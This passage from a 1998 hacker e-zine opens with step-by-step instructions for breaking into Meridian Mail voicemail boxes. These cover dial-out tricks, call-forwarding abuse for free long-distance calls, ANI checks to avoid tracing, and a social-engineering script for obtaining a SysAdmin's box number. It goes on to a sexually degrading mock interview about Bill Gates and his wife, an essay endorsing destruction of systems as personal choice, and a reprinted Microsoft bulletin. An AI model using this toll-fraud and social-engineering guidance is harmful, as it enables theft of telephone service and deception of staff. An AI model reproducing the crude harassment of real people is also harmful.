+Password Change 4 - Change VMB password. +Distribution List 5 - Enter Distribution List number followed by # sign. +Goto 6 - Go to the start of listening to messages. +Personal Verification 9 - Record a name for personal verify. +To Exit press # - Exit personal options. + +After entering "0*" (zero-star) while in a box, you should hear a message +similar to the one below with most Meridian Mail systems: + +"You have reached an automated service which will connect you to the phone +number that you enter. Please enter the number or the name of the person you +wish to reach, followed by # sign. To enter a name press 11, spell the last +name and then spell the first name. When the name is recognized, it will be +announced..." etc. + +Some Meridians will only let certain BNs dial out though. If the BN that you +are in won't allow you to dial out, then try a few others to make sure that +you're not just in a BN that doesn't support it. Usually, the Admin's BN will +be either: 111, 222, 333...999. Once you've found a box that allows you to +use the outdial feature, call a local number with a "#" sign at the end. +(Example: 742-6899#). At that point, it'll either connect you, or it'll +beep and you'll hear the message "That number cannot be reached from this +service..." If it reports that, then try dialing another number in a different +local exchange. Dialing a 1-800 ANI to check to see if the VMB diverts is +always a good idea. If you cannot seem to get the VMB to dial out, the SysAdmin +may have disabled that option. Or, you may need to try dialing the number using +a different method, as shown below: + +(X = number NPA = Area Code) +xxx-xxxx# +npa-xxx-xxxx# +1-npa-xxx-xxx# +9 + 1-npa-xxx-xxxx# +9 + xxx-xxxx# +0 + 1-xxx-xxxx# +* + 1-xxx-xxxx# + +If it says "That number cannot be reached from this service" and you've tried +everything that I mentioned above, then most likely that Box Number doesn't +have dial out access. If you're able to dial out from it, that's cool. You'll +have to play around with the VMB to learn what areas it can reach. As in, +experiment and try calling ld numbers in various area codes etc. To get an +operator to social engineer, try hitting 0# as the number to dial out and it +should connect you to a live (or zombie?) operator. + +I am sure that if you can't get it to dial out, or need some more information +about the system that the operator would be more than willing to give you some +information. Just use some of the techniques that BLACKENED mentioned in his +Tip of the Month article. Some good questions to ask after you've identified +yourself are, "Hey, I am trying to leave the SysAdmin a VMB Message, but I can't +seem to remember his Box Number. Can you help me out? Thanks." Once you have +his box number, you could work on hacking into his box, and dialing out through +there. Some other questions you could ask would be "Does this system support +call forwarding?" "Do you have a Subscriber List?" etc. + +Some extensions may just give off a dialtone, or be totally silent. So, +you'll have to listen and not just try one box to see if it can dial out. +If you get an extension that gives a dialtone, then you've most likely found +the dial out box number. + +Here's a little tip as well. Another way of obtaining free calls with some +larger systems, (since most smaller systems don't have this option enabled) is +by setting up the call forwarding number. First, you'll have to set the call +forwarding number to the number that you would like to connect to, such as +a h/p board that's ld. After you've changed the number, call the VMB and +it will connect you to the specified number (in this case the ld h/p board). + +There are many ways you can dial out through VMBs. As you can see there isn't +only "one way." It's up to you to develop your own techniques. You can only +do that by experimenting with certain systems, asking questions and social +engineering. + +After you have found a few systems that allow dialing out, I suggest calling a +1-800 ANI to see what number gets reported back to you. If it reports your +number then discontinue using that VMB for dialing out. You'll have to find +another system to use. If it reports the VMB number that you're using, then +you can use that system for diverting and possibly calling long distance. See +what area codes/exchanges can be reached using that VMB. If it only supports +local calls, don't scratch that number off your list as it can still be *very* +useful for diverting your calls to ISPs, PBXs, Extenders, Voice Operators with +ANI etc. In a future article, dialing out through other types of VMB systems, +(including Direct Dial VMBs) will be explained. + +Written by Fatal Vision ú Damage, INC. (C)opyright 1998. + + +--- 1-800 SCAN --- + +We've also included a 1-800-XXX-6245 scan with this issue. The scan was done +by Shatazar and Fatal Vision. The filename is 800-MAIL.DAT. Direct any +comments and/or questions to them. + + +ú - NEWS FROM THE TRENCHES - ú + +THC Phreak (514) is now a Damage, INC. Member. He's written several quality +articles for the Damage, INC. Newsletter in the past... and already has his +own section etc. So, we're looking forward to his future contributions to +the group. ;) + +Fatal Vision's BBS, PSYCOSiS is now online. Obviously, it's a Damage, INC. +Member Board and all Damage, INC. releases are available there at no ratio. + +The Journalist has resigned from Damage, INC. He was a Damage, INC. Member +from August 1997 - August 1998. TJ is the first and only person to ever quit +Damage, INC. While his ego increased, his contributions to the group dwindled +and then finally ceased in May 1998. I'm sure many readers noticed his absence +from writing articles for months though. After that point, he was no longer +actively involved with anything related to Damage, INC. However, I just want to +be the first to say "Good luck, best wishes and I hope that you're successful at +whatever you're involved in TJ... during your college years and afterwards. May +your positivity, philosophies and objective outlook on things bring you all that +you deserve." Actually, TJ won't be missed... and has already been replaced by +THC Phreak. So, the Damage, INC. Newsletter won't be adversely affected by this +minor situation at all. Read the included TJCHRON.TXT file (The Journalist +Chronicles) if you want more information about TJ, and why he eventually decided +after months of contemplation, to quit the group. Ah well. Good riddance. ;) +I believe that statement expresses the sentiments of the entire group. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +Interrogation of Billy Gates: The saga continues. + + + = BLACKENED + = Blackie Lawless + = #1 Micro$oft Lackey + = Billy "bad ass" Gates + + + - (Dialing 1-800-MS-SUCKS then #LAME for Billy Gates' extension.) + +(The call is re-routed and forwarded to Gates' cell phone) + + - Hello? Hello? (the voice of a pathetic lackey is heard, spoken in a +desperate tone...) Is anyone there? + + - Tell Gates that it's Damage, INC. and get him on the phone right now. + + - Who is this? What the hell do you want? + + - You sound a little irritated Billy Boy. What's the matter? ;) + + - I know who it is now. You bastard! You're going to pay for what you +did to Microsoft... You... you... malicious criminals are all going to pay +for this. I don't care what it costs. + + - Mr. Gates... Sir, our resources are running low. The food rations +have almost been exhausted and we no longer have any power or heat. + + - No heat? What happened to our coal reserves? Start burning the corpses +of employees for heat. Call the Seattle market and threaten to quit selling +Microsoft software to them. Then call the nuclear power plant and tell them +that they better re-connect our hydro or else we'll shut them down. Geez, do +I have to do EVERYTHING around here? + + - Yes sir. No sir. I mean, no... you don't have to do everything around +here sir. You know that I'm your number one lackey... err.. employee.. sir. + + - It's good to know that I still have a few 'Yes Men' left at my side, to +do my bidding for me. + + - It's too bad your wife isn't at your side anymore though. Haha. + + - Is that Blackie Lawless I hear? Your sarcastic remarks are not +appreciated mister. I take offense to your snide little comments. My wife +is as loyal as Mr. Lackster (#1 M$ Lackey) is... Who by the way, is my +towel boy, shoe shine gimp and boot licker extraordinairre. Here's a small +demonstration of my power. Listen and learn. Lackster, trace this call +with ANI and send the law enforcement authorities there immediately. + + - Yes sir! I'll get right on it. + + - Really? I never would've fucking guessed by the way he follows your +every command, and kisses your ass at every opportunity. Man, haven't you +heard yet? He's all you've got left Billy. By the way, you won't be able to +trace us with ANI Billy Boy. + + - Sir, ANI Failure. I called up AT&T, and asked them to help us. It's +the same thing though. I'm sorry sir. I apologize for my incompetence... and +take full responsibility for not being able to trace them. + + - Shit. Ummm... think of something. I really want to catch those bad guys. +We have to make those menacing hackers pay for what they've done. + + - Yes sir! You can count on me sir. + + - Haha. Billy has been in that bunker too long man. He doesn't realize +what's happened, nor does he know where his wife is. + + - What have you mischievous deviants done with my wife? + + - Nothing. We've just seen her working downtown in Seattle. Monika +Lewinski might not be going down anymore, but your wife definitely is... + + - Hehe... That's for sure man. ;) + + - What's that supposed to mean? My wife doesn't go down. You guys are +just making up stuff... and trying to... (interrupted) + + - It means that your wife is a working woman now. She's walking the +streets... wearing knee pads and picking up dimes. She goes down faster +than Monika Lewinski on Whitehouse Billy. Just because she never gave +*you* head, means nothing Billy Boy. Your wife is now a full-fledged, cheap, +slutty, downtown whore now. She's quick to go down and slow to quit sucking. + + - Damn straight. You've got that right man. Now that she lost geek boy, +she's not half bad. I mean, she made a huge mistake slutting around Gates, +but I've gotta admit she's a nice piece of ass. Hehe. + + - Why you fucking... filthy.. sons of bitches. Fuck you. My wife is +NOT a prostitute! + + - Bitch? Yeah, you could call her that. I prefer to refer to your wife +as a cheap whore though. Prostitute? Nah... At least not a very good one. +Most of the time she blows for free and swallows... That's how she manages to +get a free lunch without begging. + + - Hahaha. That's hilarious... and true man. ;) + + - Grrrrrrr... You're making me VERY upset and angry. (Gates is seething +at this point and almost ready to snap.) Bill is getting frustrated. If I +could trace this call, I'd... I'd.... (interrupted) + + - Sir, our stocks are starting to rise again. I took the liberty of +loading your personal stock portfolio with all of the most popular Internet +Stocks on the market. Then I used some of the new profits to buy back the +majority of the Microsoft stock that you sold. It looks like things are going +to be alright. + + - That's great news! (a huge sigh of relief is literally heard over +the phone.) What about employees? They haven't all been killed yet have +they? + + - No sir. You still employee many immigrant workers... and Visual Basic +programmers. Microsoft is still the proud owner.. err.. employer of over +two thousand Mexican workers, that package our products. Cheap wages, cheap +labour... It's all good, sir. + + - Yeah, cheap is definitely the word. + + - And that cheapness is due to Billy's greed. His own greed is what drives +him to exploit workers.. and the zombies that purchase M$ products. + + - Excellent... Excellent. Hey, the zombies buy Microsoft products because +THEY want to. It's not because I've brainwashed them all.. and can influence +them to do anything that I want. Now, it looks as though I have Damage, INC. +right where I want you. Your diabolical plan has failed and Microsoft is +strong once again. + + - You still haven't learned yet Billy. I told you before, you ain't seen +nothin' yet. This is just the beginning... + + - Run and hide behind your lackies again Gates. Pay them protection money. +Hire more security guards. Do whatever the fuck you want... Regardless of what +you attempt to do, Damage, INC. is stalking you. + + - I would give my life for Mr. Gates. I exist to serve and protect him. +In fact, if the truth be told... he IS my life. Microsoft is also my life. +It's what I've chosen to dedicate myself towards. + + - I know that I can count on you to help me fulfill my dream.. My vision... +of every house, every vehicle, and every street corner having and relying on +Microsoft products. You Mr. Lackster are my loyal servant. To show my deepest +appreciation, I'm going to give you a raise. Effective in 1999, your salary +will be increased by a sum of $0.20 an hour! If you continue serving me well, +there might even be a year end bonus in it for you... Just don't count on it. +Times are tough you know. My net worth is down to $55 billion... give or take +a billion dollars due to the market crash August 31, 1998. + + - Why thank you sir... Thank you. That's most generous of you. I promise +that I'll work overtime for the next 5 years... and try to repay you in some +way for such a kind gesture. Indeed, I'm a lucky lackey. The luckiest in the +world... to work for such a selfless, humble boss. + + - I'm going to be sick. I feel like puking. You both disgust me. Gates, +your endless greed and cheapness is sickening. As for your dream, the reality +is that your wife is working in every house, every vehicle's backseat and on +every street corner in Seattle. Haha... + + - Yeah, and *she* is doing a fine job of serving this town. It won't be +long before she has her own boss. A few local pimps have been eyeing her. +Hehe. ;) + + - Blackie Lawless, you're disgusting. You have a filthy, gutter of a mind. +The cheapshots that you hurl never cease to amaze me. If only you'd use your +thoughts, ideas and energy for good... and make something of yourself. You +are brilliantly evil, and could make a tremendous profit if you would only +utilitize your specialized skills and talent for humiliation. You could employ +a workforce of slaves, like I do. It's called profiting off the ideas and +backs of others. That's what Capitalism is all about. Just ask my political +friends and associates. You should seriously consider a career as a Microsoft +employee. We offer limited benefits to our most loyal slaves... errr.. workers. +You just have to pass our rigorous testing and training programs, and then +take the mandatory brainwashing program. + + - You've always treated me with respect sir. I can understand why you've +been so successful. Right down to your very DNA, you are the perfect boss. +You know how to command and use your authority so effectively. I just love +working for you sir. + + - Listen fucker. We don't respect you, your vision or the way that you +ripoff everyone else's ideas and products. I'd never work for Microsoft, +no matter how much money was involved. I'll never be one of your zombies. + + - In a way, it's hilarious that Gates would actually say something like +that though man. He honestly believes that he can buy anyone. He thinks +that we'd sell out to Microsoft for money. Haha. It seems as though the +richest geek in the world is also the most naive. Obviously, I wouldn't +work for him for any amount of money... including a billion times what he has. +He can continue to buy zombies, but he'll never be able to influence the +intelligent and enlightened. + + - What are you guys... Communists? Does money mean nothing to you? +Let's make a deal. I'll pay you a million dollars to quit harassing me, +interfering with Microsoft, and publishing slanderous material that contains +references to me and my beloved company. Is it a deal? That's a million +dollars each... for every Damage, INC. Member. + + - Hahaha... Do you really think that we'll accept that pathetic offer? +We can't be bought Gates. Damage, INC. doesn't make deals with anyone. That +includes fat cat lamers like you. We will continue to say and do whatever +we want. + + - He's delusional man. Billy is grasping at straws. Haha... calling +us communists? It looks like the petty dictator is calling the kettle black. +As for money, your money means absolutely nothing to us Gates. It's greed +stained Micro$oft money... and it's as worthless to us as Monopoly money. + + - I will never understand people like you. Money is everything. Can't +you see that? How can you not? I've built an empire based on greed. I +rely on corrupt, underhanded ways of stealing and blackmailing other companies +in the computer industry. If that doesn't work, then I buy them. If you +guys aren't doing this to profit... by blackmailing me or using extortion +tactics, what the hell is your reason? What's your goal? What's the purpose? +What is YOUR vision? + + - Are you paranoid? Good! Hahaha. + + - He actually believes that we're going to reveal our objective to him... +Haha. Gates, your zombie slaves are more intelligent and clever than you are. +Figure it out for yourself Billy Boy. Or, better yet, pay someone to do it for +you. Afterall, your precious money can buy anything right? You cannot +buy the information that you seek. Just as, you can't buy knowledge, wisdom +or intellect. Basically, you're forever limited to your little thoughts and +restricted way of thinking. Your mind will never be able to analyze anything. +You are not a logical person. Your own greed takes priority. To summarize, +you are a stupid, greedy, rich zombie that's lacking all that makes someone +into a human being. Morals, ethics and other human qualities can't be bought +for any sum of money. So, in other words, you are FUBAR. ;) + + +LETTERS TO THE EDITOR - {LETTERS} + + +Date: 7:45 pm Sat Aug 1, 1998 Number : 3 of 3 +From: Ufoguy Base : Private Mail +To : Blackened Refer #: None +Subj: editorial Replies: None +Stat: Normal Origin : Local + +This is just a small response to an article in the last issue of the +NewsLetter... + +------ + +I would like to comment on one particular article in Issue #10. The +"Cops and Harassment" feature written by Fatal Vision is filled with a +number of instances that are not only stupid, but because of his actions +he could have voluntarily given up his right to freedom. + +There are countless documents from people in the scene about what to do +when confronted by the police, whether conducting anything illegal or not. +Let me run down a short list that would've made Fatal Vision's experiences +more bearable. + +Rule #1: Don't admit shit. If a cop asks "Do you know wat time it is?" +wait for your lawyer. If they ask you "Why are you out so late?" wait for +your lawyer. If they even ask you for your name, wait for your lawyer. Doing +anything else is allowing them access to personal information and if you +open yourself to even the most irrelevant questions you could be giving them +much needed "evidence" + +Rule #2: If they want to speak to you in your house tell them they'll +require a search warrant to even be on the premises. This will piss them off +but by letting them see your living environment you're giving them an opening +to your life. What you don't say will be known from what hangs on your walls, +or resides on the bookshelf. Anything that a doughnut-eater could consider +"probable cause" will hook you in a holding cell. Also, refer to Rule #1. + +Rule #3: Don't volunteer evidence. Make them prove their case. By handing +them anything that could be construed as evidence you're on a short trip to +Cell Block D. If they frisk you without arresting you it's an illegal seach +and seizure. Even though the worst penalty for the puerco will be suspension +with pay, you can still have any evidence thrown out of court. This ties in +with Rule #2. Acting like you're doing something wrong is probable cause, +and is reason enough for the cops to obtain a search warrant. + +If the cops start threatening you just laugh. Always request a lawyer, +always find out the officer's name and the name of their supervisor and always +let them know that you know your individual rights are being infringed upon. +If you don't stand up for your rights they will believe you to be ignorant of +the law and your rights and they will do everything outside of their power to +force you to give up everything you know, or don't know. + +Lawyers may be the scourge of society, but in many cases they can keep you +from seeing the inside of a cage, and can get you a lot of money by suing +those who believe it's their job to infringe upon your rights. + +------ +UfoGuy + + +I'm not the editor, but since your feedback concerns my article on cops, +I thought that I would reply instead of BLACKENED. Thanks for the feedback. + +It's nice to see that you read my article man. ;) You seem to have some +experience with that type of thing. If that's the case, why don't you write an +article on how to deal with cops and send it in to be published? At any rate, +I'll admit that when those events happened I wasn't fully educated about how +to deal with police officers. I was just simply trying to prove a point that +some cops just try to take the easy route out of everything. They are *not* what +most people think they are. I know from talking with quite a few people that +they think cops are not racist, follow the system, do not abuse anyone while +arresting someone etc. They have been brainwashed man. That's *exactly* what +they want you to think. I was simply sharing some experiences that I've had +with cops. Why should people in blue uniforms have more power than we do? +They shouldn't and they don't IMO. By writing that article I learned a few +things, and thought about what I'd do differently if I was ever in situations +such as those. As you hopefully noticed the events that I wrote about ranged +in time from recent to many years ago. Cops haven't changed though man. They +are still on a "power trip" and think they can do whatever they fucking want. +It's up to everyone to make sure that they do their jobs properly. The first +step is admitting there are faults in the police force. The second step is +educating the public to know exactly what their rights are, and informing them +whenever situations arise. The third step is teaching them what to do if they +encounter an average, power tripping cop. + +Written by Fatal Vision ú Damage, INC. (C)opyright 1998. + + +OBJECTIVE OPINIONS - {OPINIONS} +The ethics of hacking: + +Some people strongly believe that everyone should follow a 'hackers ethic' +and there have been countless text files created with information regarding +'the ethics of hacking'. Just do a search using a web browser for "ethics", +"h/p ethics", "hacking ethics" etc. I'm sure that you'll find quite a few +useful text files on sites to choose from and read. + +Personally, I don't believe in following any set of "rules" whether it's hacking +ethics, laws or anything else. I'll follow my own set of rules, my own ethics, +and live the way I want to live... not how someone else wants me to. I've read +several text files now on the "ethics of hacking" and had to laugh, since they +are all based on opinion. There are so many different ideas about what is +right and what is wrong. I'm sure you'll know what I mean once you do some +reading and find out a few things about this issue. Some people think that +damaging systems isn't right, and nothing should be altered/manipulated except +the log files. Yet, some say "Nuke the system when you are done hacking so +that you don't leave a trace." They are so contradictory. One text file tells +you not to do any damage, while another encourages you to do damage. + +I've also read text files describing hackers as criminals that do manipulate +files, change options, nuke systems etc. In my opinion, a hacker/phreak should +do what they feel and not what is written in a text file that explains how they +should act, what they should do and what to do on systems. + +With this article, I am by no means saying that following a code of ethics is +wrong. In fact, I would almost call it a necessity to follow your own code +of ethics that you develop. I think that *everyone* should sit down and +determine what their own ethics are, establish them clearly and live by them. +Make sure they're *your* ethics and not someone else's ideas. I know that +people involved with the government have created numerous text files, web pages +etc. in an attempt to make hackers believe that nuking systems and altering data +is wrong and will get you into shit. One of the main reasons they do that is +to try to make some people "follow" what they write and not damage any systems. +They don't want to lose any information or money, and they believe that they +can influence people into following a "government code of ethics". + +In my opinion, nuking systems isn't all that's involved with ethics. You +have to think about who you are going to associate with, whether they're +newbies, experienced h/pers, warez d00dz, etc. That's just an example of +another factor in ethics. I am sure that you could think of many other issues +that could be included with your own "ethics". + +This is a little story about a group of hackers and their ethics of not damaging +or destroying the data/information that they obtain access to. It's funny how +some people think certain security systems are 100% secure. I watched a +television show on security, and it showed how the police force thought that +their cop cars' computer systems are *unhackable*. A group of hackers from the +L0pht proved to these fat pigs that they were wrong, and that their security was +lame and weak. The group found a few systems by trashing. They later found +that there were no encryption methods for outgoing/incoming data and there +weren't many passwords. The program showed them trashing late at night, finding +equipment, fixing it up and changing the equipment they found to have more +features. They then used the equipment to find information on people, enter +licence plate numbers and change data. They are still experimenting with it. +However, the L0pht isn't malicious and they didn't change any personal data or +alter any crucial files etc. So, you could say that their ethics in this case +were honourable. They did it only for information. + +I'd like to suggest that you form your own ethics, follow your own set of rules, +use your own guidelines and abide by what you strongly believe in. Don't read +an article about ethics and immediately follow what that person says to do, +just because they wrote a text file on hacking ethics. Use your judgement while your +hacking and don't rely on others to make those types of choices for you. Think +for yourself and do what you want to do. Don't rely on text files that an +anonymous person wrote as a guide to your personal hacking ethics. + +Written by Fatal Vision ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} + +We've decided to include several interesting articles in this issue. The +first is a Micro$oft Propaganda Bulletin relating to cDc's Back Orifice. +Unfortunately, Micro$oft has shown how ignorant and inept they are yet again. +They claim that security is taken seriously etc. Micro$oft also uses the +word "truth", which is a fucking joke when you consider the source. They even +failed to spell Back Orifice properly. Perhaps they should've looked at the +docs that are included with Back Orifice more carefully. The next article isn't +just for our American readers. It's applicable to anyone that thinks about +freedom, takes it seriously, and believes that it should be discussed and not +ignored. Even if you take freedom for granted, I suggest that you read the +article. The last article (titled "The New Bill of Rights") is relevant to +Americans and those that understand the basic rights of U.S. citizens. +Basically, it is a parody with changes and additions to the original that make +it hilarious. ;) + + +From: Microsoft Product Security Response Team [secure@MICROSOFT.COM] Sent: +Wednesday, August 05, 1998 11:22 AM To: +MICROSOFT_SECURITY@ANNOUNCE.MICROSOFT.COM Subject: Microsoft Security Bulletin +(MS98-010) + + + +Microsoft Security Bulletin (MS98-010) + +----------------------------------------------------------------------- - + +Information on the BackOrifice Program + +Last Revision: August 04, 1998 + +Summary +======= +On July 21, a self-described hacker group known as the Cult of the Dead Cow +released a tool called BackOrifice, and suggested that Windows users were at +risk from unauthorized attacks. Microsoft takes security seriously, and has +issued this bulletin to advise customers that Windows 95(r) and Windows 98(r) +users following safe computing practices are not at risk and Windows NT(r) +users are not threatened in any way by this tool. + +The Claims About BackOrifice +============================ +According to its creators, BackOrifice is "a self-contained, self-installing +utility which allows the user to control and monitor computers running the +Windows operating system over a network". The authors claim that the program +can be used to remotely control a Windows computer, read everything that the +user types at the keyboard, capture images that are displayed on the monitor, +upload and download files remotely, and redirect information to a remote +internet site. + +The Truth About BackOrifice +=========================== +BackOrifice does not expose or exploit any security issue with the Windows +platform or the BackOffice(r) suite of products. + +BackOrifice does not compromise the security of a Windows network. Instead, it +relies on the user to install it and, once installed, has only the rights and +privileges that that the user has on the computer. + +For a BackOrifice attack to succeed, a chain of very specific events must +happen: + - The user must deliberately install, or be tricked into + installing the program + - The attacker must know the user's IP address + - The attacker must be able to directly address the user's + computer; e.g., there must not be a firewall between the + attacker and the user. + +What Does This Mean for Customers Running Windows 95 and Windows 98? +==================================================================== +BackOrifice is unlikely to pose a threat to the vast majority of Windows 95 +or Windows 98 users, especially those who follow safe internet computing +practices. Windows 95 and Windows 98 offer a set of security features that +will in general allow users to safely use their computers at home or on the +Internet. Like any other program, BackOrifice must be installed before it can +run. Clearly, users should prevent this installation by following good +practices like not downloading unsigned executables, and by insulating +themselves from direct connection to the Internet with Proxy Servers and/or +firewalls wherever possible. + +What Does This Mean For Customers Running Windows NT? +===================================================== +There is no threat to Windows NT Workstation or Windows NT Server customers; the +program does not run on the Windows NT platform. BackOrifice's authors don't +claim that their product poses any threat to Windows NT. + +What Customers Should do +======================== +Customers do not need to take any special precautions against this program. +However customer should ensure that they follow all of the normal precautions +regarding safe computing: + - Customers should not install or run software from + unknown sources -- this applies to both software available + on the Internet and sent via e-mail. Reputable software + vendors digitally sign their software to verify its authenticity + and safety. + - Corporate administrators can block software that is not digitally + signed by a reputable or authorized software company at their proxy + server and/or firewall. + - Customers should keep their software up to date to ensure that + hackers cannot take advantage of known issues. + - Companies should use actively use auditing and monitor their + network usage to deter and prevent insider attacks. + + +More Information +================ +Please see the following references for more information related to this +issue. + + - Microsoft Security Bulletin 98-010, Information on the + BackOrifice Program (the Web posted version of this + bulletin), + http://www.microsoft.com/security/bulletins/ms98-010.htm + +Revisions +========= + +August 04, 1998: Bulletin Created + +For additional security-related information about Microsoft products, please +visit http://www.microsoft.com/security + + +----------------------------------------------------------------------- -- THE +INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS" +WITHOUT WARRANTY OF ANY KIND. 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For Terms of Use +see http://support.microsoft.com/support/misc/cpyright.asp. +------------------------------------------------------------------------------- + +From the Radio Free Michigan archives + +ftp://141.209.3.26/pub/patriot + +If you have any other files you'd like to contribute, e-mail them to +bj496@Cleveland.Freenet.Edu. +------------------------------------------------ + + ------------------------------------------------ + * WHAT TODAY'S AMERICANS DON'T UNDERSTAND * + ------------------------------------------------ + By Charley Reese, Syndicated Columnist + + There are three things every American ought to read: the + DECLARATION OF INDEPENDENCE, the CONSTITUTION, and the + FEDERALIST PAPERS. None of them is difficult reading. They + are not obscure dissertations written by pedants to impress + pedants. All three were written for the average person and + widely published. + + The Declaration contains the philosophical premises of the + American Revolution. A lot of Americans today clearly don't + believe in them. A lot more have no idea what they are. + + The Constitution is the compact drawn up and ratified by the + people who created a government consistent with the + philosophical premises of the Declaration. Incidentally, + the government created by that Constitution is not + recognizable in Washington, except in the barest outline. + + The Federalist Papers are a series of articles written and + published in newspapers during the debate over ratification. + They are arguments in favor of the Constitution and its + original intent. There are many paperback editions + available. + + All of this is 100 percent relevant to today, for whether + you agree or disagree with the premises and principles of + the American Revolution will determine how you view current + political issues. + + In a nutshell, the basic premises of the American Revolution + are these: people are born free and equal, their rights a + gift of God, the only legitimate purpose for government is + to protect those rights, when government instead abuses + those rights, then people have the right and the duty to + overthrow it with force and violence, and to form a new + government that will protect their rights. Too many + Americans today, consumed with material pursuits, their + brains spongy with trivia and amusement, their spirits timid + and corrupted with whining and pleading, view such + sentiments as absolutely radical, if not subversive and, God + forbid, even leftist. + + Their standard question to public officials and candidates + is, "What are you going to do for me economically?" You + would thing listening to American political debate, that the + American Revolutionists were all Marxists and that nothing + in the world matters but economics. I'm sure most people if + they ever find themselves standing before God will hand him + first their financial statement. + + Freedom in this modern, Orwellian America, is something that + is "defended" overseas but otherwise never mentioned in + polite conversation at home. + + A true son or daughter of the American Revolution will be + more concerned about freedom than about making it easier for + the police to catch criminals; more concerned about property + rights which are the basis of political freedom, than about + schemes to control traffic and housing developments; more + concerned about freedom than in accomplishing social goals + at the expense of freedom; more concerned about freedom than + about some fool being corrupted by what he reads or sees. + + Basically what it means to be free is to be let alone. + People have a right to be let alone. They have an + obligation to leave others alone. They do not have a right + to subsidies, to be liked or approved, or granted favors. + Just let alone. Nor do they have an obligation to like, + approve or grant favors to others. Just to leave them + alone. + + This clearly is not understood by the sons and daughters of + the welfare state. Gays, for example have a right to be let + alone, but they demand that others approve of them. They + have no right to approval. Others demand so called equal + opportunity , but they want a lower standard of test scores + or physical demands. Everyone has a right to be treated + equally. No one has the right to demand special treatment. + + Clearly, freedom demands a better class of human beings - + human beings who value freedom more than wealth or personal + security and who don't need the approval of others to + bolster their weak egos. + +------------------------------------------------------------------------------- + + NEW + THE^BILL OF RIGHTS + +Nearly everything has changed in the United States since the Bill of +Rights was written and adopted. We still see the original words when +we read those first 10 Amendments to the Constitution, yet the meaning +is vastly different now. + +And no wonder. We've gone from a country of a few million to a few +hundred million. The nation's desire to band together was replaced by +revulsion of togetherness. We exchanged a birthright of justice for a +magic bullet, and replaced the Pioneer Spirit with the Pioneer Stereo. + +We're not the people who founded this country and our Bill of Rights +should reflect this. + +As we approach the 21st Century, it's time to bring the wording up to +date showing what we are and who we are. + +AMENDMENT I + +Congress shall make no law establishing religion, but shall act as if +it did; and shall make no laws abridging the freedom of speech, unless +such speech can be construed as "commercial speech" or "irresponsible +speech" or "offensive speech;" or shall abridge the right of the +people to peaceably assemble where and when permitted; or shall +abridge the right to petition the government for a redress of +grievances, under proper procedures. + +It shall be unlawful to cry "Fire!" in a theatre occupied by three or +more persons, unless such persons shall belong to a class declared +Protected by one or more divisions of Federal, State or Local +government, in which case the number of persons shall be one or more. + + +AMENDMENT II + +A well-regulated military force shall be maintained under control of +the President, and no political entity within the United States shall +maintain a military force beyond Presidential control. The right of +the people to keep and bear arms shall be determined by the Congress +and the States and the Cities and the Counties and the Towns (and +someone named Fred.) + + +AMENDMENT III + +No soldier shall, in time of peace, be quartered in any house without +the consent of the owner, unless such house is believed to have been +used, or believed may be used, for some purpose contrary to law or +public policy. + + +AMENDMENT IV + +The right of the people to be secure in their persons, houses, papers, +and effects against unreasonable searches and seizures may not be +suspended except to protect public welfare. Any place or conveyance +shall be subject to search by law enforcement forces of any political +entity, and any such places or conveyances, or any property within +them, may be confiscated without judicial proceeding if believed to be +used in a manner contrary to law. + + +AMENDMENT V + +Any person may be held to answer for a crime of any kind upon any +suspicion whatever; and may be put in jeopardy of life or liberty by +the state courts, by the federal judiciary, and while incarcerated; +and may be compelled to be a witness against himself by the forced +submission of his body or any portion thereof, and by testimony in +proceedings excluding actual trial. Private property forfeited under +judicial process shall become the exclusive property of the judicial +authority and shall be immune from seizure by injured parties. + + +AMENDMENT VI + +In all criminal prosecutions, the accused shall enjoy the right to +avoid prosecution by exhausting the legal process and its +practitioners. Failure to succeed shall result in speedy +plea-bargaining resulting in lesser charges. Convicted persons shall +be entitled to appeal until sentence is completed. It shall be +unlawful to bar or deter an incompetent person from service on a jury. + + +AMENDMENT VII + +In civil suits, where a contesting party is a person whose private +life may interest the public, the right of trial in the Press shall +not be abridged. + + +AMENDMENT VIII + +Sufficient bail may be required to ensure that dangerous persons +remain in custody pending trial. There shall be no right of the public +to be afforded protection from dangerous persons, and such protection +shall be dependent upon incarceration facilities available. + + +AMENDMENT IX + +The enumeration in The Constitution of certain rights shall be +construed to deny or discourage others which may from time to time be +extended by the branches of Federal, State or Local government, unless +such rights shall themselves become enacted by Amendment. + + +AMENDMENT X + +The powers not delegated to the United States by the Constitution +shall be deemed to be powers residing in persons holding appointment +therein through the Civil Service, and may be delegated to the States +and local Governments as determined by the public interest. The +public interest shall be determined by the Civil Service. + +----------------------------------------------------------------------- + The Pen is mightier than the Sword. + The Court is mightier than the Pen. + The Sword is mightier than the Court. + - Rey Barry - +----------------------------------------------------------------------- + + +SOURCE AND SCRIPTS - {SOURCE} + + +This will scan your devices to detect sniffers on your system. +Linux support is ready but SunOS has some problems (mainly in +net/if.h when i tried compiling i got a lot of parse errors in +if.h and socket.h maybe the system i was on was damaged.) + +Comments welcome :-). + +------------------------------------------------------------------------------- +begin promisc.c -- +// $Id: promisc.c,v null 1997/03/09 10:35:58 trevorl Exp $ +// promisc.c: test devices for sniffers and device moniters. +// +// Copyright (C) 1997 Trevor F. Linton (blind@xmission.com) +// +// Created for Linux based loosely upon linux ioctl controls. +// ioctl() is used to detect different flags set on devices used +// on your system. +// +// gcc -o sys_test promisc.c +// + +#include +#include +#include +#include +#if defined (__linux__) +#include +#else +#include +#endif +#define size(p) (sizeof(p)) + +int dev_flags=0, + device_flags=0, + set_look_all=0; + +int +main(int argc, char **argv) { + struct ifreq ifreq, *ifr; + struct ifconf ifc; + char buf[BUFSIZ], *cp, *cplim; + + if(argc <= 1) + set_look_all++; + + if((dev_flags = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { + fprintf(stderr, "An error occured establiashing while establishing a socket\n"); + perror("socket"); + exit(1); + } + + ifc.ifc_len = sizeof(buf); + ifc.ifc_buf = buf; + + if(ioctl(dev_flags, SIOCGIFCONF, (char *)&ifc) < 0) { + perror("SIOCGIFCONF"); + exit(1); + } + ifr = ifc.ifc_req; + cplim=buf+ifc.ifc_len; + for(cp = buf; cp < cplim; + cp += sizeof (ifr->ifr_name) + size(ifr->ifr_addr)) + { + ifr = (struct ifreq *)cp; + + if(argv[1]) + if(strcmp(ifr->ifr_name, argv[1]) && !set_look_all) + continue; + + ifreq 